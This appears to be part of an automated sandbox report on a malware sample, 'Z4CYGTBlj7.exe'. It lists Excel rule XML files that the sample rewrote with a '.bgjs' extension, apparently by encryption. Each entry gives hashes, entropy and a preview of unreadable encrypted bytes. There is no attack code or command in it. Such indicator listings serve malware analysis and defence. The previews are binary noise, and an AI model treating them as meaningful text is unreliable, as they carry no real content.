SSDEEP:	24:zmI9Ev2GqGww1HiISRn7RAVaGWLvPdEu5eJsbD:X9SgeHiVn1glelElmD
MD5:	0AA31AB9AB8C96297A29A09D41241E0E
SHA1:	D43C055B7910EF8388F1440B30D88CCB7DFEFA4C
SHA-256:	99A69C2ED51B530FB87A4044B2E5521AE29A54A2E91BFD6DCBA8B056713E32A7
SHA-512:	1122E0B9F6735B96EEA1E0E3FD9EEDF0DECEB499A1AC23E98BD2036284CD37A4F644282A1A04E2A56F5CA2BE3E0C65FE0DF70851B5F30604566E34BC90131D7B
Malicious:	false
Preview:	<?xml.).L....q+...ng0.....DG..._.5.d.3.....`2^2.x...)`...t.u.db..LD.,...yW.4...uN.._..[.........}.Q...J.\|.Y..........(M..oq3...cit.(i."K<Q$....P.....s.$.....ZY_GC.bo.~\|..FA...=....x2_..Pv.X.I]^.\....Mo.A6k....dI..a...q....\|.76s..o/.w......H...-.f0e......(...."QAx.UP-.Lpq/^.S.:.....Z...7.......$..>.u.o...3....9..y..W.W....U~sVP.).Z..N.&.6kT...U.B...3x&.......K.<Z.QZK'.-+.._...............cs...Hri...x.f.}mX....".".h...O.-m...`\.L ...U..9;.\\|.N=.......1.g&r..K%a....[..i....Ng...K...&.w`.5>.aY...E....h..l6f.............`R.A.X......l.D...@...F..y-.... Kr....c....1m..6..1.....D....W))...P3R.".]....?.........Rzug..l..y..V.(<iH2....)7~... ......A...k...<~{e..:..E..f.Kqn..s...x9b.z........U:"... .....A.v.7{..x..of..........0K@.P(.]./.K....rR..Q..".0....$sw..9 ...3..u...8.B.%..B....=\|z..I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.823973928203139
Encrypted:	false
SSDEEP:	24:ZI0/AZ1d5KAbVBcINlhx+yPEqNinsGU3AsWN7cBGEjZrD68ApOnLb0sbD:zq1fDb7lleysyWN7Utm8zP0mD
MD5:	C9B54817E910B29158088BC3A7C2E36F
SHA1:	15B7F551B8FDE2F16D6D97F66E4B25E45B44350A
SHA-256:	A6F4A560299AF5132D2000B99A23587CAD476527D1AD78A86C589AC7DD8654B0
SHA-512:	7AEBA4A893B9C46B4D8F61DEE650704D56641C9846F6E096CE3B1AC1F8471E9A3B8A50163CE7ED13F40B6FF07D8EDA21AE98B884647ECA8280E94B1CFF059BEC
Malicious:	false
Preview:	<?xml.Z...(J.....N.{y.3D.....:x!.d...:M.a.....n/}..S.7./..oR........bFu....iE...).<....p....../......X4.].cV.Y05/..H..i.R....J......f@..^...}..5./....B..q....qc.........7t.uQ.=........X.Mh7..+yj......p...g......P.<S...4..+M........NBZY.V..4...5.f.....^..$..GWXw...\|.."..t..).^.?.#O~'...._.pQK.z....H.=....k.?`.+TV.."8..\|.}...K..c<..t..o!...H../g/.#.i.].K.]....M......v....i...X...va.}...g..>.4...3.:%=..=.T.-.f=>..s.h...$hG.."...M..P..H...4.P...Z_....F.X9.:.i.XEZ.xL..Xr .F.5U.o<....T..k."y..K.a.-......6.....ZJ.E.:..=.uX......a.......>G..B.#...].J......-M..A.......m.2.2..c..).9.M.~...8.^qj...2.E.8.q..~."..../'...H..d.'.v.@c.0"mB.....egA..........z._.q...$._..R..&.....C.W..Bs`.{........v.`..z ......X...8i/.g%...f.....n8.j../.....t:z...U.....i.c.....>{.4...i..~2....t....HapJ.,.'XP..[K.{.4.............w(.:.P&P..X%o..#.ZW.?...p1.gL".p.p.%.X.CUQj%N..6H.......U.#..D....s7.y.X....t...%%?..e.xF.............3.&......3./....sJ..x...".'.8....o..3.P.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.674099760186521
Encrypted:	false
SSDEEP:	12:phUv0hrOzrIO7JuJX5nT2VONa2wzQ+AU3FLFvc+5ldki9WvQm1LmjF4QuUQsciik:IsZOzpeN1N4QEJbzdWVAF4HsbD
MD5:	49F7E1AEBCC1E462D45F91183B8BD2A6
SHA1:	C6882FF5C15EC950C92F4F1375A7C806B100A979
SHA-256:	2B9D3682D11A1D22157500A9B71B6005B144DA41A1E0AF155D7EFCB7030B1E2C
SHA-512:	9EEDCA5AEF79D4E3E2BBFB36601F8EBE32DBF496AB63F8234EE5021C8CE8025AFF3CD78AB5372CE0EEC8C2C63FA10C665661D50672152B173DB3E78FF4B2354D
Malicious:	false
Preview:	<?xml.[..'..j..lW)....{.........0.v..J.K..5k'4.y.d _.[.9...3<?......~.C\."..u.^<.(X..y....5sydH.S...G..ipL......7.UM...`H.?.XZf.^...N..aH..~<.8.......Qg..6.L.2Io...m.....\.W..q..@....!d=...^.>.UJ..E'........>,...J\|5;1=k..f..J.^4...X..l...S......`5.cm..V..._g3.....O.U^}.<b....rU..q,..C\|....tfX3.w....\(..b...5t#c....Y.Np5\..4Y.....M..............'Q&...O.0....tN..)Y.g...@$.....].}Q[\|.....]h.j....d.J..g.u. t.)..7.k..{.r...U..\|.9(w{.;+Ln...y..,.;J.a.%.......h...[.R.8V.U...eg#\H....;........1.F..[E.i.]...?.R.]c.k...j..W....R...)H.Y..-.\|.gM.......v.9O.+..F.H2-$.H..n./j;...7.N....Z....o.;j.trg.{cb.y/..T...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.65259624712473
Encrypted:	false
SSDEEP:	12:BNNO2BMT/jd5n+1jes9MHa8B/rSRMa/Ljv3G4U7ZrPi8Y9NxZbdl9PpPIUQsciik:/NAnkqjByMQjv3GZNrPINxZxPp4sbD
MD5:	BB557DD78669FEC0290DD67A64D986CC
SHA1:	B7F933148725EAEA899A9C2491065C83DCE38EDB
SHA-256:	0696A2E1C694364214A8E1E5358CE0511B72F1B4E6F6DAFF509A4F32545E3C18
SHA-512:	FA85EE53487E424923D8897E7ED39C73DB81266B77CD98A8BB84D4B6DC4685916B1862B32181D335ABB624D2238A4F6AEA51BE520EF538BA97BE77A5085D4F08
Malicious:	false
Preview:	<?xml...~..Hr(.....t.-Q...;k@.2.....u..7....wH.......!.+~.I.pA..g..8*'.. .`.......D.........m...n<3+....Z.rp.`.g...:.&.?...'.v.&.Y...x....1.!.... ..@....^7?...(.8Ou.q?.(.(....:...^.$.~.m5.L.Z...i...Bk..z.@..(....}.........ds.....q&l.=~.......:d~....E..z.(s...K.......j.b....E..LH.x..<{l...#$..11...l~....j.....b..8.X..V.8!.m..8i.+K....9.....=...6.Y.{K7.............8TR.}./p.oqYfP..A..0^.;vp[..e.....U/..y..0...R.........s.!.....U... X3.V.p 7.C....s.H..`....R....~..F......5.]..0.]...........m....."..R...<..0..-.\|..].(z....."flp<.I.MM..;..UR....Yj~..\|...:..(J.uhA.....)=.d.`..\|...........~5B.?..Q.d...9<"<..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.717067520762768
Encrypted:	false
SSDEEP:	12:Sa0gvoPXuPtSDFX2RNwjc78Sy8WLdh210epdDNJmqjVooAFaxCJsmGjFavQsciik:x0xPdZ+9pWLdIRlDmMVbCCmGkIsbD
MD5:	CF804B9A2A60093A0D4BB7E0B3BB31A7
SHA1:	E2F56AC9118732973D1EE2E4111A8C313A397B75
SHA-256:	CDBF40213C325BB0D327B7DCE620FBBBE07B85E218C4BA29E80ADF4D20D9C1D6
SHA-512:	15723AF85DF313554FC8C30D4775A629B2BA86FADC61BCCEE7CF77D958DBF3C0DBAEBB0AC8CE8794B0D099C1702E17BD69FC6EF3FC6D225FAAB9C3CFA51B89CA
Malicious:	false
Preview:	<?xml...e.:.Z...3.....ss.....t}.........s2..ne.ggG.37.[.].r..=...{be..48..........{...M..%K.n.Z........!.-a.%...Mw.jR..by.. M.q.;...G..S\.by._......0gEdj>...C&.....6.....os^..........>$...{...O..8o...."....6 F.%.W....N.v.o"n..!.p.i:Cf.].p.\|.\|..g@......s..Ga.P...g...f....B....F..e<..@.[.^..f.r..Z..@.#H.p.U;...F...O....PK..Q..\|.....LA.m............Ys%p.)..F.p\..BL.p{...o;.P.NQ.Bqa.E.t...ZkLlK...;.....-....S.`.....9...&..r.(.u....u.;..A..6.t...e.).z.[..c..)..oX&.>.d.?.....b3k..[n.-...\.,.S..EQ..yv..+...%.F..fN.t..J,R.Py.........._..G.G.f..J.m..B.x.u$%..>.......Z...._-^.-0...-.=.gW.6+.Oq....+* ....J.Q,.......n`.....f.s...@.j...T..=.2".....,..m.......":..>'.....g..(3u.u.Z.".6>.)V..T.k&([.G.\|./8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.6734462395022
Encrypted:	false
SSDEEP:	12:OzhbSgDq0Vr9lHcf59Sq457hlzBSMu6g3Nexb9aem8OJnh4Y+O9XP7Uksm6reu40:OF+YDHOAqKtFxRQem8ObVx9XP7UksEnU
MD5:	84737ADA3DCD7048C754154FEC5D5E48
SHA1:	EA2EAD66090BB7168724B02DEE36D1EEE04EF4C8
SHA-256:	CC87DBE8E792D4815C20DC6B2D8E220AA98FE84BF86B6D793A117FA4E69AC80F
SHA-512:	C4662F6FDE9352514226DDDD28FC6801D90A982D8C3A3CB7D5388830D5A1D3C633307E9136AA162FFB90367DD73BF1195EEA39B588BF3F85792984ADFC29A635
Malicious:	false
Preview:	<?xml..A9<C...BN.j...&.lL.{...rA.....p....H.;CA.R.Rd.`'%9.8.0>.D^.....K..L(.jI..<3.w.k..R>a.....F...a...-..g..HGl]%P;.....7}G1dw..$..DY]...&.R.{...k...U^H...=.......L.h....>/Y....nfe.r..D..nM.'....q....kW..=pLQ.......U......(.cY\|../kI^T5..:.....\..!....y7...l...}... .F..}...t.\.o..>.".N+C.k..Fm.+..\E.{0..R.......).6_...z.......C......5.(..:.c{....xm5.RU.NVX...<.K:...PGqrv..9a..!.T.!q.w.R..4.x9...N2E}.k..M.s>..SH.bL.f=.......-}.`.u.9.....%D.e.+.._......}...~.e.a.=t^..i...:.U...EK6.....h....G..d....&..v...zJ.D.e...J.X!5..p.L;O.....Ky.].3p.4w~.T.F..._..(.^y._<....[......sI.G...`.......,..$C...&......$8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.7499530407693396
Encrypted:	false
SSDEEP:	24:ewGI7+V+ABG3XJtct5Xs57MOs8mP2/b2EK+tqPDiNsbD:CoXJavI7WrO/b2EltqbCmD
MD5:	D307F1E64E1B53D7AE5FEECA322C7224
SHA1:	F310E15B0BEAEC1AF2CE33A8BA74C707058F6BFC
SHA-256:	6CDB462B3A57F5FD45F07230989CAF3DF9B497A23D52206EED4C0AA241F4270D
SHA-512:	31F8824A67C992CBAE3442D373BFA799B1A8A6488D6E0689680FC8C55944A48F8DFC1506AD890D7FCDB72938587200B244CF015C06A9950C008A855183946D33
Malicious:	false
Preview:	<?xml.c#R2S..._Y.[W...c...~.(.....65.3r.m...@...ILo+]._.[..(...H.:z;.........8<26...._.:.,.._aI...R...#....i......3Z..0Waz~.}.d..24W..a..au>...E....i#.[..z_....&.....&...G.?:.......qjb.:.v.?$.%....................$1pV.x...dxwh.;)..6....e...!. ..+{I...i9G. -....hN.....qYE0^.G.....Z.I ...~..q\|..p?..)C...$..P....ES1.f...H...^w.7vl...U.}.!d.....CJ.L..1.._%.qxS.).Y4..... ..........F5w.^RgT..u....6,.kD.o..(...7...B...h..e....B.p.!.#..C......7..ML.....l._d.B.. =w..%L.Ka...A+[n.]...B3.......q.7.W..>`..,..xiR3.}.....A...b..U..S...x..9..a..U..Q...3GvK3...Cx.. ...,........~....@.sS.I...8mG.l.?`.+..\...-S..C...24Nb....,.5.,.aF.a..../.!2.y6.....m.}"^.}......eqv..+.....VM...D..}.]..W[......0.o+....&$.F...._..ot.......j..O.i....z...<...=..t..U. "^....T.&J. ..?>].8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.7246201559056775
Encrypted:	false
SSDEEP:	12:gqOJciDdpdLFvMA5dhJQXnUtxSv4NQHx/+cTOU96aTOIMPEQscii9a:gqM91dhJftxE41U96aTODhsbD
MD5:	841949941D8C912733F6DC6381A9897B
SHA1:	3B9E9E2FC7E4E3DE72675ED10DA2E2F3AE7AA915
SHA-256:	11B45602CD7403FB18ACB107FD7E3E86CFF72939BC543C552A0B203292E6074D
SHA-512:	2C1B88CBD43EC2704CB95482FFAC1EDDA5CE8737184FF0241EA299F3088654936D5C71B2E13B00332FDD685EBC3ED0A03DFD6D2E9C7FB888DDE7B4FB59E0389A
Malicious:	false
Preview:	<?xml]U.e.f.u...uc...\8`.f....bS.F+..~..z..Z....^w....O..M.j.Cm`.....\|I]s....v..(!.^..0D..8U..&....X......\|.....$.K.k..o."..4.EP.{.b.........#..f..<........6.!J.........d....&.Y..F.h.l."S...O.......... .a ..B[..........yaV.YIk...8......}....\|.PX........;.lO(.K...]...\|5....9...i+......@a{...O.....pX.?46.I..>.Vk.D7...?$..hwymX.g.O$8Q2.i.'BBQ.....M..'=....>...D.e....J.v ..3O.K...^.......(...+'.cN-.Y=.......e.....#./.....dX/..c.vY.....x.}...".:..9`.(p.2.?8[...:..m.\(.^F....?..=;.J..z....IV;o......i.p.....o.G6}.t..C.H.KuP..g.......Z<M....c.w...gh...I..J.....9...Bc.f....6..lS{......v...ir.o..{.........9.....q.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.870822789634334
Encrypted:	false
SSDEEP:	24:Uyz1pnfkpvR4ffT1f3CpuMxdfcz6co33wVqX3gAMWEWc/puTqK8nBFgBF81W+Sb8:Uokp6fl36xFTcIwwQec/ATq3BF2GW+S4
MD5:	F72211AB4139830775C621BE7AFE8395
SHA1:	4964791A15520CAFFCE675B76BD3CF1901DD4986
SHA-256:	1B517E55FEFDFF1A481FF353ED26E947DECF3865D620E27914EEB20CB5693267
SHA-512:	00D7227C8079A32B9FB930B506DA50975B618A117D084541793CA2ED9AF2D2E2C518D2EA85AD70E8D46BFEE2FE8919CC63596749B55E5A99F518C99B1155163C
Malicious:	false
Preview:	<?xmlo.\|.\|...,.X.....[."..s..r..o...>..XY.g(..kB1n..fk#.....=..[.jgt.+%...4u}Y3....r..@+.R<Z.?.q}S.......=nl@u.>l...Q....s..[8.`.-.I...O..E.ef.#..o>.e.3.."}..T.O..6.S..s....`..D%b.O.V.'./A....K5.i[..,_...f.&E.>@..OHp./4.....P.T.Y>..=.m.3`.z..=..}z..D}.k.a..]..'.a...@(Xy...i..........X....&J........z5.\...i...;.......9.......a...6ns.V.y~.....6..!..1..Ic"].`...h..\}t..l.........z..;.^.5.[....6.t.P....L.....H{xh..#.d.....'6...\|..k..:]"...\.f..w.P..n@..(`..x.........7.....e...\|.2....drT.~.._Y.iBO}.#)......!....G....~M....\|\|.7W.......[.2D!3...!...l..;>.\..Y....l}&...C."l........]..):LX.j&8...,.....r..\|(f..;....a.!..A...C..7Hr.,V....N....$.42.U./}c...Zl.e$.B/.....yo.x....B0..4.Y.a..Pzh"S.r0.eR\|k.d.....t4..a.x.....o......C.....m65X}..w_.....5.".C.[..B..1W.R...j..zf.^[...W.......ES].t. ..q$._...N+.....~.;...&...+=?-jw...0..j....g..$..K......v....ao..D..Kh...j..SU+N..KeDL.^..a.#V.+.'D..y....z....Z. m.Nq....%.y_..m>.....FU.&?...]p,..S.l#.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.816369832974233
Encrypted:	false
SSDEEP:	24:ezEbEGtsvFQb0RB3lcP0H8S+MDQX3i0ukoLfTZnWOyDCg/o6aExsbD:/hts+McP0H8SJDitoPc8Eo6pxmD
MD5:	7C2E43169C4B20044B92D0799587DD95
SHA1:	FA9C2113E71F304BF44B448C7B7408CC5747A337
SHA-256:	860BF41767418B6E515C0CED2A5FEA53B62474F51F6E0637D523A6828FAE76A4
SHA-512:	C22F0B953069906B107BC543AB0F11FA1FBB9A911AB838AD2CF834105F2C947EFE4AD0F5D494ADA11859AD6743D6D6E402374641E9474B94E9CEF5EFD124A412
Malicious:	false
Preview:	<?xml ..4Gt..iB....#1.x...Pe..b..^.S.vG....?>......P.D>.xl..3.s6....2.>.K....m....`.dM.E7.Tv.....3..ci.......H@.3/.g....^L.r~.yJ.r\|.l....N.P-!....A%...)!X.{...b.Iw...4...Ys..Yj..z..v....L7~......./...{z.>fR...U4.&.....{..or.U..L?#.L.......-...J..oe.X.X&`B.\_.'.{v..."..8.E.O..f.......#m`4..e.M...V5.....l.8....j..O..wot.z7L.D.....a...D~xv.:..@..3....V.0...<.y$N.F...DB ."......k...#!......g\..Qxk..P.d.......7.}.b.!.u.J...U"/..d0M"I".'W.....x.'....\Q.c.A..E..H7D.c.9'h.....[....&I...VQ....(.\M.z`..I..+x%Q._y....=.......'.......n...).n.3..l...T.{Xl..{.a=4..2..Ei..}..y<=9..`...O$..M."\9....y.`.Aq...1....Q..#....2<<...w.t..<O.....+.).i.E"..V(%..tFK.,_.7$....r`.Q..{.L .G.;....\x^2.(..q..jd............._z..4.....y.>.L5iv.J'.^q.aum.gw...g.k......."...:F-y...~..j.;H......%/.....pB6.*...pf`.....E[LS'..6+..$x.?.]......E.U...i..X.T.3.!..sN%.....J....T".Lp.....m.Z"A...d..4....{.c............,.X...o.Wb}.!..z./..7...D..5B..L..A.:.I...T]...$}.]..Wmi.I.3.1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.8113515766455786
Encrypted:	false
SSDEEP:	24:woEj4BYwY/e9pSEsm60TD+wOQiSgQEs/ErUoStDVVtOv59rSpb2fsbD:mj4ewN9p5snuDiQVRMoOv59rSpb2fmD
MD5:	AD9F12645616DDBBA1B9B2D4D6140CFA
SHA1:	1DE786479ABDB1D13FC479F9615E744E638EF0D6
SHA-256:	BCE61421B68D749FF1DB3D60C276F26F48055E49E3DCDD565327CFA59129BE57
SHA-512:	C165D23C6F8D04EE041B7BD10488F99A563DE122059911A5A846E9217114C8EE45DA4A77199244C3157B69BC758C0616BA8CB92F0627B8E763F00A0F39B83517
Malicious:	false
Preview:	<?xmlx...6.k\|.'=..{...>.-..$.Of...!...m..V.".:......WA..X<.VB......}G........da.i{.5z...a.X4.....7....O.-<KWf..9.$%.8.W3fG..s.z.(..-V$$RW.mwsv..AW..wh.v^[a..>2R.".\|Ha.....U.!.J.,....7A..C_.9).`i...x...#hM..r.XH(..w......U.l]......I.u.aXN~.\|...^9..3.....5..q.......S7......u.i6....^..H....J!.#{%>.....C)KuZ..).m;0..t..C...9........c.8.....o...wWC..y.0..k.yw(F.N.v@".Bl..........d....&.P.5.j.5.v(.&...S.f.7WMr..z.]7..#x.......Q...U@.....l..!>w.R....f....:@%.....K..........B!.8..dSH7...w.i:.........q.:.eY.[W.Y..&a{A....G.[..(.i4X....\|=...t.B..,.+"HKE....}9.EK.A.f..F.7i.3.~..s...`JX.".Z...s....-..}.~...s...w..;L...$..M r.I,....O.u=.iH.1p.P.z..a$(T66.@7t.G.?C...g.f.e1n.#GU:3?..A.).?.Jk.z!..C.wM..<.[.3.0~..E.K.....cH.....]2...P>~.Q.R..C.~..q..:\|S....ik.NL....Q\|P.F#...`.d...zz...nX.G8.l......y..B..6/..Z........y....?.>R.....Rx..;.....a.c..a../V.....e.d...S.A...D.....Kr...?.g...$.W0.~&#...8..Q.[..B..u.(T..J...qE._...E.Zq....M.._F....b...p.A-.....<.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.832227681632003
Encrypted:	false
SSDEEP:	24:nyzgaqRsvR45mio93aF/CIWJ6cKU1Pabf3sbD:nfpeZ4a93aF/CIh7PmD
MD5:	2922A7916BDB4CE8F1DB821E651B40E5
SHA1:	403E9580769C0F99D2D01B5E86DC062550D0181D
SHA-256:	A7AEFF3F99B0A45D77353C03B3FF17AB084E4BD2345C6E566CED099D11E1FB85
SHA-512:	50D3566D9164E6768024EFD3915FA5BDEEC2AF1B10597EE7DAC42839D1888CC7E39058029671226379238C8D75A888BB35A3436713B3BBB0C57B096195EC690F
Malicious:	false
Preview:	<?xml..k.9....3.Q..&....x..x.....I8.#Ll-F.in.LRH........]....X.....fL....W\...P.U2L^w>J.$.. ....Y....n...u.[...-^...I9YyE.3.).......F.h]G4..%bs...o.?...a.....8{46.JX...W.l...}....U.Z.\z.6.F.,.@..}......#..W..>].b.>e....l%.>..OyW//I.k.}(...?:.H..+k.J.\|b.o....S..w..f....\|...'..6Q.b. M...l!K.I.o.pRt-...7....%T........\..=.J..>.y..Y.<u.pI..a(.8..1.M....B.D.'-L.h .V..T..HON.iq.;.....b.Ji.X..........T.C.{.....Y.;*.SL?S.l....g...4M.."....L..Ms.....(..Q.F. ;nm..._R.W.O.4<m..Z2.9..Xc...b...-..OlGc.D.&1....M.{.. ...\|._a...+...NK.v'g.Ba..d"c.o.a.>.m.$...a..s......... .}_....(.F.e1...^.~...3..3.=6.^.%.j6g...2.y/..%.W..w "..C.g....d..u)gGr.\|,..A.\%...d.~...X...J....y.s..Jg..,.......T...Ps.2r..Ag&.&s..........l.....ip@ylg7,.....T:.es.ML6C...;m..z.[W...\|"l].[6z....r. ...]..q._E2..u...M...W.C2o.+O.~./aa.%8....]\|...........Y.......!.......[....e..H.....5.Ux....#...I(..7.i....c.2......#5(..i8.4.<..s...%.\'..[......a..K..J?...r.Z.}..SI+.uhU..bfbH

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.693590348767814
Encrypted:	false
SSDEEP:	12:y4jPUxLtaw3xAbEombqNioJ/pGlEp2ldXxNiOYjElFVLMF3jIgQnIndgmtROOxuO:VjMxLl3oEom7oxpn2nOjyFVIFT+nIdcs
MD5:	801CAC3D36692DB69561B3A39E99FD3C
SHA1:	DF7D5A08A095BC9AF54CA2DD81ADF96B42EDE8CA
SHA-256:	4C6380AC9219445B8DB151D2C93F6F28A0BD48C1C7F2A282B9B761AA29143DCC
SHA-512:	046DBE77EA35CEF7B942E263907B080FDAB814AB68BDCC4259CABD82D9F5E9A583DFAAFE7F661FEF16BA2CEFC1D9CCE39A31510619E821B4D355656D9D96CA6A
Malicious:	false
Preview:	<?xml.0...R.M...2... .`.....V.....9Q......F.B..'.0....4a.D9;j@!_\r;}....$h<_..@......"..!.W......+......1..h.C...5.?..7.m...L\|O.~.....!).....,.... KR-xs?...0.p.3..l.....;!..y>..:...........#kJ.41+._.x...Jb..L~.......S.#5.J.....L..m!.d..N..\23g.>....`p..4r..w..2...(J...;.4n..[..S..1....+.2k.VM`a.....}z..Q2...[=....+...0......;:........<c..,j.F......=1.\|[....).W.w.t=...P/.oz.sp.].H..o......t.}.9.Q..[9.2.D.?...ua..(.ie>gG..}.....f....?...(M!."}.h....g...E....*..[...A..\:........Z.....B....wh.Aq....!...0.apY5..).V.\.6. A..j.`......S....Vo<..h..(u..m......~.~.w+,1.v...H...]SU.'.d.R..%..H......4<.l8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.862629877323534
Encrypted:	false
SSDEEP:	24:Tcj0oPTMnPEblfREzJcE5Rk+stHACjpZ/d8D8jWL4cINIqeLyKrHL7FpwddResbD:T0JPTGEbAz75REHHZqD8jWLusrHdpwjh
MD5:	48264481E023EE84CDC4ACCD242C11A6
SHA1:	9E68405CF0A5E57082E03BF8260125395DE47B99
SHA-256:	406ED4D407455216ADCBA24F231416319A0D6F620E3D64A69B19FB4ABFD7CF0D
SHA-512:	492F7DD14A9824BBF011F7E811C3BE553BA7B27B122B51446F8D9103974EB807DE96DF119E03E8DBBF4F484404DCD34570D07AD5B9B159C82656DDCADF9833EB
Malicious:	false
Preview:	<?xml..lA..f.'...1..%?K:....fg^.x..^.....c^(5n...-.9.N.......6.b0;....2...'P..4]...p...pJ.7................U..b.R.$`.......\)M.w.zs..)_....{s.\|l.......).f.4....8.........DG./.MZ..B\.-.......h.&i.\|..z2.8%#.d..m...B.....v\..k.......J.]...78....l..:n..7!a.qHsED.S.M+...jG...l.K@D...'...%V.Gv..O.....\....>.TO...$...)..A..O...I.....<.T.x..fA88~....f...{.n....2....J...ema-G.$.......`../../Fe#4.f=.{.g...6.....ip../...9.....5...r.\2V+..E(...3..As...4.P.n<>>{?..f.P7.z.....=......]~..d]... ....Q<s..=I.KT..p.....'..{.~.<-..(.d.172H...i......,...!=c[r ..9.GGL..jI.F....`.!a.ccUb.^.A..^.G.-....W...-M..3.I.....l..P.]d.>{y.~...m...`..K..u/Xb,.:..;0......vYt.{2.p.6..e..L}..b..Z.......<u..p.1.zd.4.~.@....XZ....y.........N...Z.6x...N`..'......Bby...q..[..L..4.PwM<.2.Z@.HT.8...b.eq..qwId68s...zC.._.+^.2.%..G.."]....Y..t...,.v...p.Oh.V.!..'M..(Uc......+...k~$.g...;$....q.....d.X..\|..B..*.Z`'+....gE...e.T....8..S.aj..6.....=.n.J...)i.l..-.+.b..8~<.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.774166888347491
Encrypted:	false
SSDEEP:	24:QBp8n3QU/kRvPSDzXlZx+79TSnH31z3KhAu1nnauWCsbD:IprU/SnezXk7hO31zcaRCmD
MD5:	5FA5CD351AF41B42F7820AAABC2E987E
SHA1:	77E044A302ED62F9DF370FB16F6A4D000A9B65F6
SHA-256:	FEB93CD4922A6CBEA366D67D40048665B4EBCE21ECDE247FFD71905ACC1C26A4
SHA-512:	A8A8F1F9AE3F5AA7DD543FB95FA27199D382E3407E0739BCCBCF5FEF07339020FF75D4DE79CDC78A938424C48BC3C4C8411872C8D6189210A33F64DF7038A878
Malicious:	false
